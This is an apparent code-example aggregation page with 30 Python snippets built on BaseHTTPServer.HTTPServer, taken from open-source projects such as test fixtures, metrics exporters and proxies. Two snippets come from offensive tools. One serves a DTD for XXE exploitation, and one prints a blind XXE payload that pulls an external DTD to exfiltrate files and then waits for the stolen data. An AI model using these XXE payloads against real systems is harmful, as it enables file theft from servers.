Python BaseHTTPServer.HTTPServer() Examples

The following are 30 code examples of BaseHTTPServer.HTTPServer(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module BaseHTTPServer , or try the search function .
Example #1
Source File: serve.py    From Computable with MIT License 7 votes vote down vote up
def call(self, input):
        """
        Simple implementation to serve the build directory.
        """

        try:
            dirname, filename = os.path.split(input)
            if dirname:
                os.chdir(dirname)
            httpd = HTTPServer(('127.0.0.1', 8000), SimpleHTTPRequestHandler)
            sa = httpd.socket.getsockname()
            url = "http://" + sa[0] + ":" + str(sa[1]) + "/" + filename
            if self.open_in_browser:
                webbrowser.open(url, new=2)
            print("Serving your slides on " + url)
            print("Use Control-C to stop this server.")
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("The server is shut down.") 
Example #2
Source File: test_stardog.py    From integrations-extras with BSD 3-Clause "New" or "Revised" License 7 votes vote down vote up
def __init__(self):
        super(HttpServerThread, self).__init__()
        self.done = False
        self.hostname = 'localhost'

        class MockStardog(BaseHTTPRequestHandler):
            def do_GET(self):
                if self.path != '/admin/status':
                    self.send_response(404)
                    return
                self.send_response(200)
                self.send_header('Content-type', 'application/json')
                self.end_headers()
                # json.dumps always outputs a str, wfile.write requires bytes
                self.wfile.write(ensure_bytes(json.dumps(DATA)))

        self.http = HTTPServer((self.hostname, 0), MockStardog)
        self.port = self.http.server_port 
Example #3
Source File: ch08_listing_source.py    From https---github.com-josiahcarlson-redis-in-action with MIT License 6 votes vote down vote up
def do_POST(self):                                      #J
        parse_identifier(self)                              #K
        if self.path != '/statuses/filter.json':            #L
            return self.send_error(404)                     #L

        process_filters(self)                               #M
# <end id="streaming-http-server"/>
#A Create a new class called 'StreamingAPIServer'
#B This new class should have the ability to create new threads with each request, and should be a HTTPServer
#C Tell the internals of the threading server to shut down all client request threads if the main server thread dies
#D Create a new class called 'StreamingAPIRequestHandler'
#E This new class should be able to handle HTTP requests
#F Create a method that is called do_GET(), which will be executed on GET requests performed against this server
#G Call a helper function that handles the fetching of an identifier for the client
#H If the request is not a 'sample' or 'firehose' streaming GET request, return a '404 not found' error
#I Otherwise, call a helper function that actually handles the filtering
#J Create a method that is called do_POST(), which will be executed on POST requests performed against this server
#K Call a helper function that handles the fetching of an identifier for the client
#L If the request is not a user, keyword, or location filter, return a '404 not found' error
#M Otherwise, call a helper function that actually handles the filtering
#END

# <start id="get-identifier"/> 
Example #4
Source File: exports.py    From django-prometheus with Apache License 2.0 6 votes vote down vote up
def SetupPrometheusEndpointOnPort(port, addr=""):
    """Exports Prometheus metrics on an HTTPServer running in its own thread.

    The server runs on the given port and is by default listenning on
    all interfaces. This HTTPServer is fully independent of Django and
    its stack. This offers the advantage that even if Django becomes
    unable to respond, the HTTPServer will continue to function and
    export metrics. However, this also means that the features
    offered by Django (like middlewares or WSGI) can't be used.

    Now here's the really weird part. When Django runs with the
    auto-reloader enabled (which is the default, you can disable it
    with `manage.py runserver --noreload`), it forks and executes
    manage.py twice. That's wasteful but usually OK. It starts being a
    problem when you try to open a port, like we do. We can detect
    that we're running under an autoreloader through the presence of
    the RUN_MAIN environment variable, so we abort if we're trying to
    export under an autoreloader and trying to open a port.
    """
    assert os.environ.get("RUN_MAIN") != "true", (
        "The thread-based exporter can't be safely used when django's "
        "autoreloader is active. Use the URL exporter, or start django "
        "with --noreload. See documentation/exports.md."
    )
    prometheus_client.start_http_server(port, addr=addr) 
Example #5
Source File: VideoServer.py    From p2ptv-pi with MIT License 6 votes vote down vote up
def __init__(self, port):
        if VideoHTTPServer.__single:
            raise RuntimeError, 'HTTPServer is Singleton'
        VideoHTTPServer.__single = self
        self.port = port
        if globalConfig.get_value('allow-non-local-client-connection'):
            bind_address = ''
        else:
            bind_address = '127.0.0.1'
        BaseHTTPServer.HTTPServer.__init__(self, (bind_address, self.port), SimpleServer)
        self.daemon_threads = True
        self.allow_reuse_address = True
        self.lock = RLock()
        self.urlpath2streaminfo = {}
        self.mappers = []
        self.errorcallback = None
        self.statuscallback = None
        self.ic = None
        self.load_torr = None
        self.url_is_set = 0 
Example #6
Source File: http_server.py    From avocado-vt with GNU General Public License v2.0 6 votes vote down vote up
def http_server(port=8000, cwd=None, terminate_callable=None):
    http = HTTPServer(('', port), HTTPRequestHandler)
    http.timeout = 1

    if cwd is None:
        cwd = os.getcwd()
    http.cwd = cwd

    while True:
        if terminate_callable is not None:
            terminate = terminate_callable()
        else:
            terminate = False

        if terminate:
            break

        http.handle_request() 
Example #7
Source File: test_redisutil.py    From pykit with MIT License 6 votes vote down vote up
def setUp(self):
        self.addr = ('127.0.0.1', 22038)
        self.proxy_addr = ('127.0.0.1', 22039)

        self.response['http-status'] = 200

        def _start_http_svr():
            self.http_server = HTTPServer(self.addr, HttpHandle)
            self.http_server.serve_forever()

        def _start_proxy_http_svr():
            self.proxy_http_server = HTTPServer(self.proxy_addr, HttpHandle)
            self.proxy_http_server.serve_forever()

        threadutil.start_daemon_thread(_start_http_svr)
        threadutil.start_daemon_thread(_start_proxy_http_svr)
        time.sleep(0.1)

        self.cli = redisutil.RedisProxyClient([self.addr])
        self.n = self.cli.n
        self.w = self.cli.w
        self.r = self.cli.r 
Example #8
Source File: XXEServer.py    From xxetimes with GNU General Public License v3.0 6 votes vote down vote up
def startServer(ip, port=8000, isb64=False):
    try:
        DTD_CONTENTS = DTD_TEMPLATE.format(ip, port)
        xxeHandler = makeCustomHandlerClass(DTD_NAME, DTD_CONTENTS, isb64)
        server = HTTPServer((ip, port), xxeHandler)
        #touches a file to let the other process know the server is running. super hacky
        with open('.server_started','w') as check:
            check.write('true')
        print '\n[+] started server on {}:{}'.format(ip,port)
        print '\n[+] Request away. Happy hunting.'
        print '[+] press Ctrl-C to close\n'
        server.serve_forever()

    except KeyboardInterrupt:
        print "\n...shutting down"
        if os.path.exists('.server_started'):
            os.remove('.server_started')
        server.socket.close() 
Example #9
Source File: httpsServer.py    From SUBZero with MIT License 6 votes vote down vote up
def run(HandlerClass=SimpleHTTPRequestHandler, ServerClass=BaseHTTPServer.HTTPServer, protocol="HTTP/1.0"):

    if sys.argv[1:]:
        port = int(sys.argv[1])
    else:
        port = 443

    server_address = ('', port)

    HandlerClass.protocol_version = protocol
    httpd = ServerClass(server_address, HandlerClass)

    sa = httpd.socket.getsockname()
    print "Serving HTTP on", sa[0], "port", sa[1], "..."
    httpd.socket = ssl.wrap_socket(httpd.socket, certfile='./server.pem', server_side=True)
    httpd.serve_forever() 
Example #10
Source File: test_httpservers.py    From BinderFilter with MIT License 6 votes vote down vote up
def test_get(self):
        #constructs the path relative to the root directory of the HTTPServer
        response = self.request(self.tempdir_name + '/test')
        self.check_status_and_reason(response, 200, data=self.data)
        response = self.request(self.tempdir_name + '/')
        self.check_status_and_reason(response, 200)
        response = self.request(self.tempdir_name)
        self.check_status_and_reason(response, 301)
        response = self.request('/ThisDoesNotExist')
        self.check_status_and_reason(response, 404)
        response = self.request('/' + 'ThisDoesNotExist' + '/')
        self.check_status_and_reason(response, 404)
        f = open(os.path.join(self.tempdir_name, 'index.html'), 'w')
        response = self.request('/' + self.tempdir_name + '/')
        self.check_status_and_reason(response, 200)

        # chmod() doesn't work as expected on Windows, and filesystem
        # permissions are ignored by root on Unix.
        if os.name == 'posix' and os.geteuid() != 0:
            os.chmod(self.tempdir, 0)
            response = self.request(self.tempdir_name + '/')
            self.check_status_and_reason(response, 404)
            os.chmod(self.tempdir, 0755) 
Example #11
Source File: test_httpservers.py    From oss-ftp with MIT License 6 votes vote down vote up
def test_get(self):
        #constructs the path relative to the root directory of the HTTPServer
        response = self.request(self.tempdir_name + '/test')
        self.check_status_and_reason(response, 200, data=self.data)
        # check for trailing "/" which should return 404. See Issue17324
        response = self.request(self.tempdir_name + '/test/')
        self.check_status_and_reason(response, 404)
        response = self.request(self.tempdir_name + '/')
        self.check_status_and_reason(response, 200)
        response = self.request(self.tempdir_name)
        self.check_status_and_reason(response, 301)
        response = self.request('/ThisDoesNotExist')
        self.check_status_and_reason(response, 404)
        response = self.request('/' + 'ThisDoesNotExist' + '/')
        self.check_status_and_reason(response, 404)
        with open(os.path.join(self.tempdir_name, 'index.html'), 'w') as fp:
            response = self.request('/' + self.tempdir_name + '/')
            self.check_status_and_reason(response, 200)
            # chmod() doesn't work as expected on Windows, and filesystem
            # permissions are ignored by root on Unix.
            if os.name == 'posix' and os.geteuid() != 0:
                os.chmod(self.tempdir, 0)
                response = self.request(self.tempdir_name + '/')
                self.check_status_and_reason(response, 404)
                os.chmod(self.tempdir, 0755) 
Example #12
Source File: server.py    From sparrest with MIT License 6 votes vote down vote up
def run_on(ip, port):
    """
    Starts the HTTP server in the given port
    :param port: port to run the http server
    :return: void
    """
    print("Starting a server on port {0}. Use CNTRL+C to stop the server.".format(port))
    server_address = (ip, port)
    try:
        httpd = HTTPServer(server_address, SparrestHandler)
        httpd.serve_forever()
    except OSError as e:
        if e.errno == 48:  # port already in use
            print("ERROR: The port {0} is already used by another process.".format(port))
        else:
            raise OSError
    except KeyboardInterrupt as interrupt:
        print("Server stopped. Bye bye!") 
Example #13
Source File: recipe-408991.py    From code with MIT License 5 votes vote down vote up
def test(HandlerClass = googleCacheHandler,
         ServerClass = BaseHTTPServer.HTTPServer):
    BaseHTTPServer.test(HandlerClass, ServerClass) 
Example #14
Source File: dummy-web-server.py    From Offensive-Security-Certified-Professional with MIT License 5 votes vote down vote up
def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print 'Starting httpd...'
    httpd.serve_forever() 
Example #15
Source File: recipe-425210.py    From code with MIT License 5 votes vote down vote up
def server_bind(self):
        BaseHTTPServer.HTTPServer.server_bind(self)
        self.socket.settimeout(1)
        self.run = True 
Example #16
Source File: freq_server.py    From Logstash with GNU General Public License v3.0 5 votes vote down vote up
def __init__(self, *args,**kwargs):
        self.fc = FreqCounter()
        self.cache = {}
        self.cache_lock = threading.Lock()
        self.screen_lock = threading.Lock()
        self.alexa = ""
        self.verbose = False
        self.fc_lock = threading.Lock()
        self.dirty_fc = False
        self.exitthread = threading.Event()
        self.exitthread.clear()
        BaseHTTPServer.HTTPServer.__init__(self, *args, **kwargs) 
Example #17
Source File: blindxxe.py    From Offensive-Security-Certified-Professional with MIT License 5 votes vote down vote up
def main(argv):
    global config

    fetchRhost()

    opts = parseOptions(argv)
    if not opts:
        Logger.err('Options parsing failed.')
        return False

    print('[+] Serving HTTP server on: ("{}", {})'.format(
        config['listen'], config['port']
    ))
    dbg('RHOST set to: {}'.format(config['rhost']))

    rhost = config['listen']
    if config['listen'] == '0.0.0.0':
        rhost = config['rhost']

    print('\n[>] Here, use the following XML to leverage Blind XXE vulnerability:')
    print('''
===
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://{}:{}/test.dtd">
<foo>&exfil;</foo>
===

PS: Don't forget to set:
    Content-Type: text/xml

    '''.format(rhost, config['port']))

    server = HTTPServer((config['listen'], config['port']), BlindXXEServer)
    thread = threading.Thread(target=server.serve_forever)
    thread.daemon = True
    thread.start()

    while not EXFILTRATED_EVENT.is_set():
        pass

    print('[+] File has been exfiltrated. Quitting.') 
Example #18
Source File: healthz_server.py    From deploymentmanager-samples with Apache License 2.0 5 votes vote down vote up
def main():
  # Process flags
  port = 12345
  cert_file = ''
  key_file = ''
  try:
    opts, _ = getopt.getopt(
        sys.argv[1:],
        '',
        ['port=', 'cert_file=', 'key_file='])
  except getopt.GetoptError:
    logging.error(
        'healthz_server.py '
        '--port <port> --cert_file <cert_file> --key_file <key_file>')
    sys.exit(2)
  for opt, arg in opts:
    if opt == '--port':
      port = int(arg)
    elif opt == '--cert_file':
      cert_file = arg
    elif opt == '--key_file':
      key_file = arg

  # Start server
  healthz_server = BaseHTTPServer.HTTPServer(('', port), HealthzHandler)
  print 'Started healthz_server on port', port
  if cert_file and key_file:
    healthz_server.socket = ssl.wrap_socket(
        healthz_server.socket,
        certfile=cert_file,
        keyfile=key_file,
        server_side=True)
  healthz_server.serve_forever() 
Example #19
Source File: proxy.py    From networking with GNU General Public License v3.0 5 votes vote down vote up
def main(args):
	try:
		port = int(args[1])
	except IndexError:
		port = 8000
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		s.connect(("8.8.8.8",80))
		ip = s.getsockname()[0]
	except:
		ip = "0.0.0.0"
		print "No Connection"
	try:
		CNCopyCurrentNetworkInfo = c.CNCopyCurrentNetworkInfo
		CNCopyCurrentNetworkInfo.restype = c_void_p
		CNCopyCurrentNetworkInfo.argtypes = [c_void_p]
		wifiid = ObjCInstance(CNCopyCurrentNetworkInfo(ns('en0')))
		wifiid = wifiid["SSID"]
	except:
		wifiid = "[Your WiFi]"
	server_address = (ip, port)
	print "Started Proxy",ip,port
	print "\nTo Start Logging:"
	print "Settings>WiFi>%s>HTTP Proxy>Manual>\nHost: %s\nPort: %s\nAuthentication: OFF\n" %(wifiid,ip,port)
	httpd = BaseHTTPServer.HTTPServer(server_address, LoggingProxyHTTPHandler)
	httpd.serve_forever() 
Example #20
Source File: conftest.py    From pytest-vcr with MIT License 5 votes vote down vote up
def __init__(self):
        self.server = HTTPServer(('127.0.0.1', 0), TestHTTPHandler)
        self.thread = Thread(None, self.server.serve_forever)
        self.thread.daemon = True
        self.thread.start() 
Example #21
Source File: kvstorage_http.py    From PySyncObj with MIT License 5 votes vote down vote up
def main():
    if len(sys.argv) < 5:
        print('Usage: %s http_port dump_file.bin selfHost:port partner1Host:port partner2Host:port ...' % sys.argv[0])
        sys.exit(-1)

    httpPort = int(sys.argv[1])
    dumpFile = sys.argv[2]
    selfAddr = sys.argv[3]
    partners = sys.argv[4:]

    global _g_kvstorage
    _g_kvstorage = KVStorage(selfAddr, partners, dumpFile)
    httpServer = HTTPServer(('', httpPort), KVRequestHandler)
    httpServer.serve_forever() 
Example #22
Source File: pubsubhubbub_publish_test.py    From python-publisher with Apache License 2.0 5 votes vote down vote up
def setUp(self):
    global REQUESTS
    REQUESTS = 0
    self.server = BaseHTTPServer.HTTPServer(('', 0), RequestHandler)
    t = threading.Thread(target=self.server.serve_forever)
    t.setDaemon(True)
    t.start()
    self.hub = 'http://%s:%d' % (
        self.server.server_name, self.server.server_port)
    self.feed = 'http://example.com/feed'
    self.feed2 = 'http://example.com/feed2'
    self.feed3 = 'http://example.com/feed3' 
Example #23
Source File: duo.py    From gimme-aws-creds with Apache License 2.0 5 votes vote down vote up
def duo_webserver(self):
        """HTTP webserver."""
        httpd = HTTPServer(self.socket, self.handler_with_html)
        httpd.serve_forever() 
Example #24
Source File: webbrowser_authenticate.py    From inference-model-manager with Apache License 2.0 5 votes vote down vote up
def run_server(port, auth_url):
    class Server(BaseHTTPRequestHandler):

        def log_message(self, format, *args):
            return

        def _set_headers(self):
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()

        def do_GET(self):
            self._set_headers()
            query = urlparse(self.path).query
            parsed_query = parse_qs(query)
            if 'code' in parsed_query:
                print("A request was received with an authorization code.")
                global code
                code = parsed_query['code'][0]
                self.prepare_response()
                self.kill_server()

        def prepare_response(self):
            python_ver = sys.version_info.major
            if python_ver == 3:
                self.wfile.write(bytes(html_page, 'UTF-8'))
            else:
                self.wfile.write(html_page)

        def kill_server(self):
            assassin = threading.Thread(target=httpd.shutdown)
            assassin.daemon = True
            assassin.start()

    handler_class = Server
    server_address = ('', port)
    httpd = HTTPServer(server_address, handler_class)
    open_webbrowser(auth_url)
    print('Waiting for authorization code.')
    httpd.serve_forever() 
Example #25
Source File: authtools.py    From googleapps-message-recall with Apache License 2.0 5 votes vote down vote up
def run(flow, storage):
  """Core code for a command-line application.

  Args:
    flow: Flow, an OAuth 1.0 Flow to step through.
    storage: Storage, a Storage to store the credential in.

  Returns:
    Credentials, the obtained credential.

  Exceptions:
    RequestError: if step2 of the flow fails.
  Args:
  """

  if FLAGS.auth_local_webserver:
    success = False
    port_number = 0
    for port in FLAGS.auth_host_port:
      port_number = port
      try:
        httpd = BaseHTTPServer.HTTPServer((FLAGS.auth_host_name, port),
            ClientRedirectHandler)
      except socket.error, e:
        pass
      else:
        success = True
        break
    FLAGS.auth_local_webserver = success 
Example #26
Source File: dlnap.py    From dlnap with MIT License 5 votes vote down vote up
def runProxy(ip = '', port = 8000):
   global running
   running = True
   DownloadProxy.protocol_version = "HTTP/1.0"
   httpd = HTTPServer((ip, port), DownloadProxy)
   while running:
      httpd.handle_request()

#
# PROXY
# ================================================================================================= 
Example #27
Source File: VideoServer.py    From p2ptv-pi with MIT License 5 votes vote down vote up
def __init__(self, port):
        if MultiHTTPServer.__single:
            raise RuntimeError, 'MultiHTTPServer is Singleton'
        MultiHTTPServer.__single = self
        self.port = port
        BaseHTTPServer.HTTPServer.__init__(self, ('127.0.0.1', self.port), SimpleServer)
        self.daemon_threads = True
        self.allow_reuse_address = True
        self.lock = RLock()
        self.urlpath2streaminfo = {}
        self.mappers = []
        self.errorcallback = None
        self.statuscallback = None 
Example #28
Source File: http_coap_proxy.py    From CoAPthon with MIT License 5 votes vote down vote up
def run(self):
        """
        Start the proxy.
        """
        server_address = (self.ip, self.hc_port)
        hc_proxy = HTTPServer(server_address, HCProxyHandler)
        logger.info('Starting HTTP-CoAP Proxy...')
        hc_proxy.serve_forever()  # the server listen to http://ip:hc_port/path 
Example #29
Source File: http.py    From trafficserver_exporter with Apache License 2.0 5 votes vote down vote up
def start_http_server(port, addr=""):
    """Starts a HTTP server for prometheus metrics as a daemon thread."""

    class PrometheusMetricsServer(threading.Thread):
        def run(self):
            httpd = HTTPServer((addr, port), MetricsHandler)
            httpd.serve_forever()

    t = PrometheusMetricsServer()
    t.daemon = True
    t.start()
    return t 
Example #30
Source File: server.py    From extract_recipe with Apache License 2.0 5 votes vote down vote up
def start_server():
    """Start the server."""
    server_address = ("", PORT)
    server = BaseHTTPServer.HTTPServer(server_address, TestHandler)
    server.serve_forever()